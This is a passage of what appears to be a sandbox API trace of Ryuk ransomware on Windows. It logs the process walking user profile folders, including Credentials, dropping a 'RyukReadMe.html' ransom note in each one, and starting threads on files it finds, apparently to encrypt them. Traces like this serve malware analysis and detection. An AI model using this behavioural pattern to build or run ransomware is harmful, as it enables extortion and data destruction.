	[0208.477] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.477] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.477] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 0
	[0208.477] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0208.478] SetLastError (dwErrCode=0x0) 
	[0208.478] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.479] GetLastError () returned 0x3
	[0208.479] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0208.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.479] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0208.479] SetLastError (dwErrCode=0x0) 
	[0208.479] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0208.479] GetLastError () returned 0xb7
	[0208.480] CloseHandle (hObject=0x5c4) returned 1
	[0208.480] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0208.480] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.481] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0208.481] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0208.481] SetLastError (dwErrCode=0x0) 
	[0208.481] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0
	[0208.481] GetLastError () returned 0x0
	[0208.481] WriteFile (in: hFile=0x5d0, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0208.484] CloseHandle (hObject=0x5d0) returned 1
	[0208.484] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0208.911] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.912] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x204, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0208.912] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x432daef0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x204, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0208.912] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0208.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0
	[0208.920] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.921] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0208.921] SetLastError (dwErrCode=0x0) 
	[0208.921] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.921] GetLastError () returned 0x3
	[0208.921] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0208.921] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.922] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0208.922] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0208.922] SetLastError (dwErrCode=0x0) 
	[0208.922] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.922] GetLastError () returned 0x3
	[0208.922] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0208.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.922] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 0
	[0208.922] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0208.923] SetLastError (dwErrCode=0x0) 
	[0208.923] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.923] GetLastError () returned 0x3
	[0208.923] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.923] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.923] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0
	[0208.923] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0208.924] SetLastError (dwErrCode=0x0) 
	[0208.924] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0208.924] GetLastError () returned 0xb7
	[0208.924] CloseHandle (hObject=0x5c4) returned 1
	[0208.924] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0
	[0208.924] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0208.925] SetLastError (dwErrCode=0x0) 
	[0208.925] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0208.925] GetLastError () returned 0xb7
	[0208.925] CloseHandle (hObject=0x524) returned 1
	[0208.925] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0208.925] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0208.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524
	[0208.927] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.928] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0208.928] SetLastError (dwErrCode=0x0) 
	[0208.928] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0208.929] GetLastError () returned 0xb7
	[0208.929] CloseHandle (hObject=0x5c4) returned 1
	[0208.929] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0208.929] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.929] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0208.929] SetLastError (dwErrCode=0x0) 
	[0208.930] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0208.931] GetLastError () returned 0x0
	[0208.931] WriteFile (in: hFile=0x5cc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0208.934] CloseHandle (hObject=0x5cc) returned 1
	[0208.934] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0208.935] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.935] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0208.935] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0208.935] SetLastError (dwErrCode=0x0) 
	[0208.935] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\credentials\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.935] GetLastError () returned 0x3
	[0208.935] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0208.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.936] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0208.936] SetLastError (dwErrCode=0x0) 
